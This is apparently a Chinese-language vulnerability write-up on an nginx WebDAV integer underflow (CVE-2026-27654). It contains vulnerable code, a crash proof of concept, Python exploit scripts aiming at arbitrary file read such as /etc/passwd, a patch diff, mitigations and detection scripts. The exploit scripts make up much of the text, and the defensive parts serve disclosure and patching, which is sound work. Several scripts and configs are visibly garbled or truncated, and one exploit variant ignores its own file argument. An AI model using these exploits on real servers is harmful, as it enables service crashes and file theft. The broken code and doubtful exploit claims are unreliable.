// 简化后的漏洞代码prefix_len = r->loc_conf->prefix_len;dest_len = ngx_strlen(dest);if (ngx_strncmp(dest, r->loc_conf->prefix, prefix_len) != 0) {    return NGX_HTTP_BAD_REQUEST;}size = dest_len - prefix_len;path = ngx_pnalloc(r->pool, size + 1);ngx_memcpy(path, dest + prefix_len, size);path[size] = '\0';

COPY /dav/x HTTP/1.1Host: localhostDestination: /da  # 长度(3)小于"/dav/"的长度(5)，触发下溢Content-Length: 0

// 简化后的ngx_http_map_uri_to_path()函数size_t prefix_len = clcf->alias;size_t uri_len = uri->len;// 当uri_len < prefix_len时，无符号整数减法会发生下溢size_t path_len = uri_len - prefix_len;// 分配一个极小的缓冲区，但path_len实际上是一个接近4GB的巨大值u_char *path = ngx_pnalloc(r->pool, path_len + 1);// 发生堆缓冲区溢出ngx_memcpy(path, uri->data + prefix_len, path_len);path[path_len] = '\0';

+---------------------+| 请求头结构          |+---------------------+| Destination头值     |  <-- 溢出起点+---------------------+| 源路径字符串        |  <-- 被溢出覆盖+---------------------+| 其他请求数据        |+---------------------+

#!/bin/bash# CVE-2026-27654 崩溃验证PoC# 用法：./poc1_crash.sh http://target:port/dav/TARGET=TARGET/x" \  -H "Host: localhost" \  -H "Destination: /da" \  -H "Content-Length: 0"

#!/usr/bin/env python3# CVE-2026-27654 任意文件读取PoC# 用法：python3 poc2_file_read.py http://target:port/dav/ /etc/passwdimport requestsimport sysimport urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)def exploit(target, file_path):    # 构造Destination头，触发整数下溢    # 注意：需要根据实际location前缀长度调整    location_prefix = "/dav/"    dest_length = len(location_prefix) - 2  # 比前缀短2个字符    # 构造溢出数据，同时覆盖源路径和目标路径    # 格式：[垃圾数据][../../../][目标文件][\0][目标路径]    overflow = b"A" * 10 + b"../../../" + file_path.encode() + b"\x00" + b"output.txt"    headers = {        "Host": "localhost",        "Destination": b"/" + b"a" * dest_length + overflow,        "Content-Length": "0"    }    try:        response = requests.copy(f"{target}/x", headers=headers, verify=False, timeout=10)        if response.status_code == 201 or response.status_code == 204:            print(f"[+] 文件复制成功，正在读取: {file_path}")            read_response = requests.get(f"{target}/output.txt", verify=False, timeout=10)            print(read_response.text)            return True        else:            print(f"[-] 利用失败，状态码: {response.status_code}")            return False    except Exception as e:        print(f"[-] 错误: {e}")        return Falseif __name__ == "__main__":    if len(sys.argv) != 3:        print(f"用法: {sys.argv[0]} <目标URL> <文件路径>")        print(f"示例: {sys.argv[0]} http://localhost:8080/dav/ /etc/passwd")        sys.exit(1)    exploit(sys.argv[1], sys.argv[2])

#!/usr/bin/env python3# CVE-2026-27654 斜杠填充优化版任意文件读取PoC# 适用于配置了merge_slashes off的服务器import requestsimport sysimport urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)def exploit(target, file_path):    # 使用4000个连续斜杠来满足路径长度要求    slashes = "/" * 4000    headers = {        "Host": "localhost",        "Destination": "/da",        "Content-Length": "0"    }    try:        # 源路径使用大量斜杠填充，但内核会将其解析为单个斜杠        response = requests.copy(f"{target}{slashes}x", headers=headers, verify=False, timeout=10)        if response.status_code == 201 or response.status_code == 204:            print(f"[+] 文件复制成功")            return True        else:            print(f"[-] 利用失败，状态码: {response.status_code}")            return False    except Exception as e:        print(f"[-] 错误: {e}")        return Falseif __name__ == "__main__":    if len(sys.argv) != 3:        print(f"用法: {sys.argv[0]} <目标URL> <文件路径>")        sys.exit(1)    exploit(sys.argv[1], sys.argv[2])

diff --git a/src/http/modules/ngx_http_dav_module.c b/src/http/modules/ngx_http_dav_module.cindex 0cc9ae1..2caf4b0 100644--- a/src/http/modules/ngx_http_dav_module.c+++ b/src/http/modules/ngx_http_dav_module.c@@ -535,19 +535,20 @@ ngx_http_dav_mkcol_handler(ngx_http_request_t *r, ngx_http_dav_loc_conf_t *dlcf) static ngx_int_t ngx_http_dav_copy_move_handler(ngx_http_request_t *r) {-    u_char                    *p, *host, *last, ch;-    size_t                     len, root;-    ngx_err_t                  err;-    ngx_int_t                  rc, depth;-    ngx_uint_t                 overwrite, slash, dir, flags;-    ngx_str_t                  path, uri, duri, args;-    ngx_tree_ctx_t            tree;-    ngx_copy_file_t            cf;-    ngx_file_info_t            fi;-    ngx_table_elt_t           *dest, *over;-    ngx_ext_rename_file_t      ext;-    ngx_http_dav_copy_ctx_t    copy;-    ngx_http_dav_loc_conf_t   *dlcf;+    u_char                    *p, *host, *last, ch;+    size_t                     len, root;+    ngx_err_t                  err;+    ngx_int_t                  rc, depth;+    ngx_uint_t                 overwrite, slash, dir, flags;+    ngx_str_t                  path, uri, duri, args;+    ngx_tree_ctx_t            tree;+    ngx_copy_file_t            cf;+    ngx_file_info_t            fi;+    ngx_table_elt_t           *dest, *over;+    ngx_ext_rename_file_t      ext;+    ngx_http_dav_copy_ctx_t    copy;+    ngx_http_dav_loc_conf_t   *dlcf;+    ngx_http_core_loc_conf_t  *clcf;     if (r->headers_in.content_length_n > 0 || r->headers_in.chunked) {         ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,@@ -644,6 +645,18 @@ destination_done:         return NGX_HTTP_CONFLICT;     }+    clcf = ngx_http_get_module_loc_conf(r, ngx_http_core_module);++    if (clcf->alias+        && clcf->alias != NGX_MAX_SIZE_T_VALUE+        && duri.len < clcf->alias)+    {+        ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,+                      "client sent invalid \"Destination\" header: \"%V\"",+                      &dest->value);+        return NGX_HTTP_BAD_REQUEST;+    }+     depth = ngx_http_dav_depth(r, NGX_HTTP_DAV_INFINITY_DEPTH);     if (depth != NGX_HTTP_DAV_INFINITY_DEPTH) {

# 备份配置文件sudo cp -r /etc/nginx /etc/nginx.backup# 更新软件源sudo apt update# 升级NGINXsudo apt install nginx# 验证配置sudo nginx -t# 平滑重启sudo nginx -s reload

# 修改前dav_methods PUT DELETE MKCOL COPY MOVE;# 修改后dav_methods PUT DELETE MKCOL;

# 修改前location /dav/ {    alias /var/dav/uploads/;    dav_methods PUT DELETE MKCOL COPY MOVE;}# 修改后location /dav/ {    root /var/;    dav_methods PUT DELETE MKCOL COPY MOVE;}

location /dav/ {    alias /var/dav/uploads/;    dav_methods PUT DELETE MKCOL COPY MOVE;    # 添加Destination头校验    if (|https?://[^/]+/dav/') {        return 400;    }}

#!/usr/bin/env python3# CVE-2026-27654 漏洞检测脚本# 用法：python3 detect_cve_2026_27654.py http://target:port/dav/import requestsimport sysimport urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)def check_vulnerability(target):    print(f"[*] 正在检测目标: {target}")    # 第一步：检查是否启用了WebDAV    try:        response = requests.options(target, verify=False, timeout=10)        if 'COPY' not in response.headers.get('Allow', ''):            print("[-] 目标未启用COPY方法，不受影响")            return False    except Exception as e:        print(f"[-] 连接失败: {e}")        return False    # 第二步：发送测试请求，检查是否会导致崩溃    headers = {        "Host": "localhost",        "Destination": "/da",        "Content-Length": "0"    }    try:        # 发送第一个请求        response1 = requests.copy(f"{target}/test1", headers=headers, verify=False, timeout=10)        # 发送第二个请求，检查服务器是否仍然响应        response2 = requests.get(target, verify=False, timeout=10)        if response2.status_code == 200:            print("[+] 目标可能已修复或不受影响")            return False        else:            print("[!] 目标可能存在漏洞")            return True    except requests.exceptions.ConnectionError:        print("[+] 目标存在漏洞！工作进程已崩溃")        return True    except Exception as e:        print(f"[-] 检测过程中发生错误: {e}")        return Falseif __name__ == "__main__":    if len(sys.argv) != 2:        print(f"用法: {sys.argv[0]} <目标URL>")        print(f"示例: {sys.argv[0]} http://localhost:8080/dav/")        sys.exit(1)    check_vulnerability(sys.argv[1])

#!/bin/bash# CVE-2026-27654 配置检查脚本# 用法：sudo ./check_nginx_config.shecho "[*] 正在检查NGINX配置..."# 检查是否启用了ngx_http_dav_module模块if nginx -V 2>&1 | grep -q "http_dav_module"; then    echo "[+] 已启用ngx_http_dav_module模块"else    echo "[-] 未启用ngx_http_dav_module模块，不受影响"    exit 0fi# 检查所有配置文件中是否存在易受攻击的配置echo "[*] 正在扫描配置文件..."grep -rE "dav_methods.*COPY|dav_methods.*MOVE" /etc/nginx/ | while read -r line; do    file=line" | cut -d: -f1)    content=line" | cut -d: -f2-)    # 检查同一location块中是否使用了alias指令    dir=file")    filename=file")    # 提取location块内容    awk -v content="0;            }            in_location = 0; found_dav = 0; found_alias = 0;        }    ' "$file"doneecho "[*] 检查完成"